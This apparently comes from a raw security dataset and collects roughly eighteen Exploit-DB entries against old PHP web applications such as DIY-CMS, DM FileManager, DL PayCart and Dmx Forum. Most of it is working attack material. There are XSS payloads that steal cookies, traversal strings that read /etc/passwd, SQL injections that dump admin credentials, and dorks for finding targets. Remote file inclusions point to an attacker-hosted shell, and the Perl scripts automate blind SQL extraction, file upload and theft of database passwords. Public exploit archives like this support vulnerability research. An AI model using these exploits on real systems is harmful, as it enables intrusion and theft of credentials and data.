deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37556
Description: Distimo Monitor - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-01
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54757/info

Distimo Monitor is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Distimo Monitor 6.0 is vulnerable; other versions may also be affected. 

https://www.example.com/downloads/date/metric:1/country:29/application:%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C/appstore:1
https://www.example.com/downloads/date/metric:1/country:%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C/application:99/appstore:1
https://www.example.com/downloads/map/metric:%3E%22%3Ciframe%20src=http://www.example1.com%3E+%3E%22%3Ciframe%20src=http://www.example1.com%3E
https://www.example.com/revenue/date/application:99/country:%3E%22%3Ciframe%20src=http://www.example1.com%3E%3E%22%3Ciframe%20src=http://www.example1.com%3E
https://www.example.com/revenue/date/application:%3E%22%3Ciframe%20src=http://www.example1.com%3E%3E%22%3Ciframe%20src=http://www.example1.com/country:30
Exploit-DB #9310
Description: dit.cms 1.3 - 'path/sitemap/relPath' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-30
Author: SirGod

Exploit:
##########################################################################################################
[+] dit.cms 1.3 (path/sitemap/relPath) Local File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##########################################################################################################

[+] Homepage : http://ditcms.org/

[+] Local File Inclusion

 - Note : register_globals = on

 - Vulnerable code is everywhere

 - PoC's

    http://127.0.0.1/path/install/index.php?path=../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/left_rightslideopen/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/left_rightslideopen/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_pullout/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_pullout/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_slideopen/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_slideopen/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/simple/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/top_dropdown/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/top_dropdown/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/topside/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/topside/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/index/index.php?relPath=../../../../../../boot.ini%00


##########################################################################################################

# milw0rm.com [2009-07-30]
Exploit-DB #31590
Description: DivXDB 2002 0.94b - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-02
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28566/info

DivXDB 2002 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DivXDB 2002 0.94b is vulnerable; other versions may also be affected.

http://www.example.com/index.php?choice="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?choice=14&_page_="><script>alert("CANAKKALE-GECiLMEZ")</script>&year_inf=1998&year_sup=2008 http://www.example.com/index.php?_page_="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&zone_admin="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search=1&object="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search="><script>alert("CANAKKALE-GECiLMEZ")</script>&object= http://www.example.com/index.php?_page_=main.html&import="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&choice="><script>alert("CANAKKALE-GECiLMEZ")</script>
Exploit-DB #14822
Description: DIY-CMS 1.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-08-28
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [DiY-CMS 1.0 Remote File Inclusion ] 
# Date: [28-8-2010] 
# Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
# Software Link: [http://webscripts.softpedia.com/scriptDownload/DiY-CMS-Download-63258.html] 
# Version: [v 1.0 ] 
# Tested on: [Windows XP] 
# CVE : Hacker town of Musayyib
#Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ aDaM_TRoJaN@yahoo.com~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit: http://target/diycms_v1.0/diycms_v1.0/modules/guestbook/blocks/control.block.php?lang=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Exploit: http://target/diycms_v1.0/diycms_v1.0/index.php?main_module=[ShEll]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Exploit: http://target/diycms_v1.0/diycms_v1.0/includes/general.functions.php?getFile=[SHELL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
		
		function toggle(obj) {
			var el = document.getElementById(obj);
			el.style.display = (el.style.display != 'none' ? 'none' : 'block' );
		}
Exploit-DB #18288
Description: DIY-CMS blog mod - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-29
Author: snup

Exploit:
# Exploit Title: DIY-CMS blog mod SQL Injection
# Author: snup
# Contact: snup.php@gmail.com
# Site: http://e-o-u.org

 SQL Injection:

 DORK:
  inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"
  inurl:"mod.php?mod=blog"

 BUG:
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]

 Why?:

  The variables $start, $year, $month are not filtered

  In file: /modules/blog/tags.php , list.php , index.php ,
main_index.php , viewpost.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

  In file: /modules/blog/archive.php

	$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];
	$month =(!isset($_GET['month'])) ?
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];
	$year =(!isset($_GET['year'])) ?
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];

  In file: /modules/blog/control/approve_comments.php ,
approve_posts.php , viewcat.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

###########
# Gr33tz: #
#####################################################
# agilob, cOnd, czoik, drummachina, gocys, prick    #
# im2ee, MadCow, n1k0n3r, R3w, rtgn, SiD, vizzdoom  #
#  irc.freenode.net #pakamera  , http://e-o-u.org   #
#####################################################
Exploit-DB #4331
Description: DL PayCart 1.01 - 'viewitem.php?ItemID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-08-28
Author: irvian

Exploit:
#!/usr/bin/perl -w
use HTTP::Request;
use LWP::UserAgent;
#---------------------------------------------------------------------------------
# scripts       : DL PayCart 1.01 - (c) 2006
# Discovered By : irvian
# scripts site  : http://www.dinkumsoft.com/
# Thanks To
# bot        : sqlscan, hantu_internet, xcart
# chanell    : #hitamputih #nyubicrew #patihack and my private channel noscan
# Friend     : nyubi, ibnusina, arioo, jipank,ifx and all my friend
#---------------------------------------------------------------------------------
if (@ARGV < 2){
die "
use      : $0 host option
example  : $0 http://victim.com 1

1= AdminID
2= AdminPass\n";}


$url = $ARGV[0];
$option = $ARGV[1];


print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection                [+]\r\n";
print "[+]DL PayCart 1.01 - (c) 2006            [+]\r\n";
print "[+]code by irvian                    [+]\r\n";
print "[+]special To : ifx, arioo, jipank        [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";

if ($option eq 1){
syswrite(STDOUT, "AdminID: ", 9);}
elsif ($option eq 2){
syswrite(STDOUT, "AdminPass: ", 11);}

for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 32;
 while(!$f && $n <= 255)
 {
  if(&blind($url, $option, $i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
}

print "\n[+]finish Execution Exploit\n";



sub blind {
my $site = $_[0];
my $op = $_[1];
my $az = $_[2];
my $na = $_[3];

if ($op eq 1){$klm = "AdminID";}
elsif ($op eq 2){$klm = "AdminPass";}

$blind = "$site"."/viewitem.php?ItemID=1'/**/and/**/substring((select/**/"."$klm"."/**/from/**/pc_settings/**/limit/**/0,1),"."$az".",1)=char("."$na".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$blind));
$res = $req->content;

if ($res !~ /noimage.gif/i){
    return 1;
}

}

# milw0rm.com [2007-08-28]
Exploit-DB #11318
Description: Dlili Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-02
Author: Dr.DaShEr

Exploit:
==============================================================================
                  Remote SQL Injection Vulnerability
  ==============================================================================
    [+] Published:           [2010-02-02]
    [+] Script:              [ dlili ]
    [+] Script site:         [ http://www.dlili.com ]
    [+] Author:              {Dr.DaShEr> Nyo@hotmail.com < ]
    [+] Gr44tz to:           [NeX HackEr & XP10_hacker]
  ########################################################################


   [+] Dork: inurl:"links_showcat.php?"


   =[ Exploit ]=

   [+] links_showcat.php?id=2 and 1=0 UNION SELECT 1,concat(username,0x3a,password),3,4 from admin


   [-] SQLi p0c:

   [+] http://server[path]/links_showcat.php?id=2 and 1=0 UNION SELECT 1,concat(username,0x3a,password),3,4 from admin


  ###########################################################################
Exploit-DB #12280
Description: dl_stats - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-18
Author: Valentin Hoebel

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = dl_stats Multiple Vulnerabilitie
|:: Author = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = dl_stats
|:: Vendor = Claus van Beek
|:: Vendor Website = http://clausvb.de/
|:: Affected Version(s) = please view vulnerability details
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: #1 Example URI = view_file.php?id=6+AND+1=2+UNION+SELECT+1,concat(user()),concat(user()),concat(user()),concat(user()),6,7,concat(user())--
|:: #2 Example URI = download.php?id=2+AND+1=2+UNION+SELECT+1,concat(user()),3,concat(user()),concat(user())--
|:: 
|:: >> #2 "Vulnerability"
|:: Type = Unprotected Admin Backend
|:: Affected Versions = all
|:: URI = admin/index.htm
|:: This is not a real vulnerability. The admin backend simply isn't protected
|:: by any login, the installation manual recommends to protect it with a
|:: .htaccess file. Many webmasters just forget to do so.
|::
|:: >> #3 Vulnerability
|:: Type = XSS
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: Example URI = download_proc.php?id=<iframe src=http://www.google.de>
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory/Exploit Published = 18.04.2010
|:: The vendor seems to have rewritten the dl_stats software. Since version 2.0
|:: it validates the user input. The vendor only offers the latest version for download.
|:: If you want to test around a little bit you maybe are lucky and find an old
|:: version to download somewhere.
|:: Although version 2.0 was released a long time ago, many websites still use the
|:: old versions for their websites.
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #8741
Description: DM FileManager 3.9.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-19
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
dm-filemanager (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
http://dutchmonkey.com/products/dm-filemanager/demo/admin
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
Username:   ' or '1=1
Password:   ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
His0k4:::Mr.HCOCA_MAN:::DrEaDFuL:::
yassine_enpsunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-19]
Exploit-DB #8903
Description: DM FileManager 3.9.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-06-08
Author: ThE g0bL!N

Exploit:
DM FileManager 3.9.2 Insecure Cookie Handling Vuln
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://dutchmonkey.com
Special Thx: Snakespc
Note: Algerie 3-1 Egypt
Exploit:
------
javascript:document.cookie="USER=[user name ];path=/";
javascript:document.cookie="GROUPID=1;path=/";
javascript:document.cookie="GROUP=[Groupe of user];path=/";
javascript:document.cookie="USERID=[user_id];path=path=/";
Then Go to Url /admin.php
Demo:
----
http://dutchmonkey.com/products/dm-filemanager/demo/admin/login.php
Exp for demo:
------------
javascript:document.cookie="USER=GUEST;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="GROUPID=1;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="GROUP=ADMINISTRATORS;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="USERID=51;path=/products/dm-filemanager/demo/admin/";
Note: ALgerie en Coupe Du Monde In shaa ALLAH
################################################################################################

# milw0rm.com [2009-06-08]
Exploit-DB #9049
Description: DM FileManager 3.9.4 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-06-30
Author: Stack

Exploit:
#############################################################################################
[+] DM FileManager 3.9.4 Remote File Dislosure Vulnerability
[+] Author : Stack
[+] Greetz : V4 Team & Sec R1z
[+] Download Script : http://www.dutchmonkey.com/?file=products/dm-filemanager/download_response.html&download=direct
#############################################################################################
[+] Xpl :
[+] http://[sitename]/[path]/dm-albums/dm-albums.php?download=yes&file=config.php&currdir=/dm-albums/
#############################################################################################

# milw0rm.com [2009-06-30]
Exploit-DB #9044
Description: dm FileManager 3.9.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-29
Author: Septemb0x

Exploit:
#############################################################################################
[+] DM FileManager 3.9.4 Remote File Include Vulnerability
[+] Author : Septemb0x
[+] www.Cyber-Warrior.Org - Information Technology's World
[+] Greetz : BARCOD3 And All Friends...
[+] Dork : Yok Dork Mork :D
[+] Download Script : http://uploaded.to/file/3z84ie
[+] Product Site : http://www.dutchmonkey.com
#############################################################################################
[+] EXPLOIT;
[+] http://[sitename]/[path]/dm-albums/template/album.php?SECURITY_FILE=http://attackersite/shell.php
#############################################################################################
< ---- Note ---- >
H....R;
Sen Ã§ok Ã¼stÃ¼n zekaya sahip birisin,
emin olbilirsin, :D
Sql injection ile domain hackleyebilen tek lamersin, :D
ASP'de Rfi Bulmakta Birebirsin,
Ama GÃ¶rdÃ¼ÄŸÃ¼m En hÄ±yar Lamersin :D
Bu Kafiyelerde Bi TarafÄ±na Girsin ;)
Lol H....R :D
< ---- Note Finished ---- >

# milw0rm.com [2009-06-29]
Exploit-DB #4597
Description: DM Guestbook 0.4.1 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2007-11-02
Author: GoLd_M

Exploit:
#  DM Guestbook <= 0.4.1 Multiple Local File Include Vulnerabilities
#  http://sourceforge.net/project/showfiles.php?group_id=101364 /guestbook.0.4.1/
#  POC :
#  /guestbook.php?lng=../../../../../../../etc/passwd%00
#  /admin/admin.guestbook.php?lng=../../../../../../../etc/passwd%00
#  /auto/glob_new.php?lng=../../../../../../../etc/passwd%00
#  /auto/ch_lng.php?lngdefault=../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-02]
Exploit-DB #26649
Description: DMANews 0.9 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15628/info

DMANews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 0.904 and 0.910 are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?action=comments&id=[sq]
http://www.example.com/index.php?action=news_list&display_num=[sql]
http://www.example.com/index.php?action=news_list&sortorder=[sql]
Exploit-DB #27785
Description: DMCounter 0.9.2 -b - 'Kopf.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-01
Author: beford

Exploit:
source: https://www.securityfocus.com/bid/17756/info

DMCounter is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue is reported to affect version 0.9.2-b; other versions may also be vulnerable.

http://www.example.com/dmcounter/kopf.php?rootdir=http://www.example2.com/phpshell.txt?
Exploit-DB #13898
Description: DMSEasy 0.9.7 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-17
Author: sh00t0ut

Exploit:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+   DMSEasy0.9.7 (fckeditor) Arbitrary File Upload  +
+                                                   +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO
print "Enter URL(ie: http://target.com): ";
    chomp(my $url=<STDIN>);
  
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }
exit;
Exploit-DB #1882
Description: Dmx Forum 2.1a - 'edit.php' Remote Password Disclosure
Type: webapps
Platform: php
Date: 2006-06-05
Author: DarkFig

Exploit:
#!/usr/bin/perl
#
# by DarkFig -- www.acid-root.new.fr
#
use LWP::Simple;

if ( !$ARGV[1] ) {
header();
print "\n| Usage: <url> <member_id> ----------------|";
print "\n+------------------------------------------+";
print "\n| Example: http://localhost/dmx/ 1   ------|";
end();
}

sub header {
print "\n+------------------------------------------+";
print "\n| Dmx Forum <= v2.1a SQL Injection Exploit |";
print "\n+------------------------------------------+";
}

sub end {
print "\n+------------------------------------------+\n";
exit;
}

$err0 = "\n[-]Can't connect to the host !";

header();
$url = "$ARGV[0]"."pops/edit.php?membre="."$ARGV[1]";
$req = get($url) or print "$err0";

if( $req =~ /input name="pseudo" type="text" id="pseudo" value="(.*?)"/ ){
print "\n [+]Username: $1";
$req =~ /input name="pwd" type="password" id="pwd" value="(.*?)"/ , print "\n [+]Password: $1";
$req =~ /input name="email" type="text" id="email" value="(.*?)"/ , print "\n [+]Email: $1";} else {print "\n[-]Part 1 failed !";}


$url2 = "$ARGV[0]"."_includes/bd.inc";
$req2 = get($url2) or print "$err0";
if($req2 =~ /host = "(.*?)";/)
{print "\n[+]DBHOST: $1";
$req2 =~ /user = "(.*?)";/;print "\n[+]DBUSER: $1";
$req2 =~ /pass = "(.*?)";/;print "\n[+]DBPASS: $1";
$req2 =~ /bdd = "(.*?)";/;print "\n[+]DBNAME: $1";
} else {print "\n[-]Part 2 failed !";}

end();

# milw0rm.com [2006-06-05]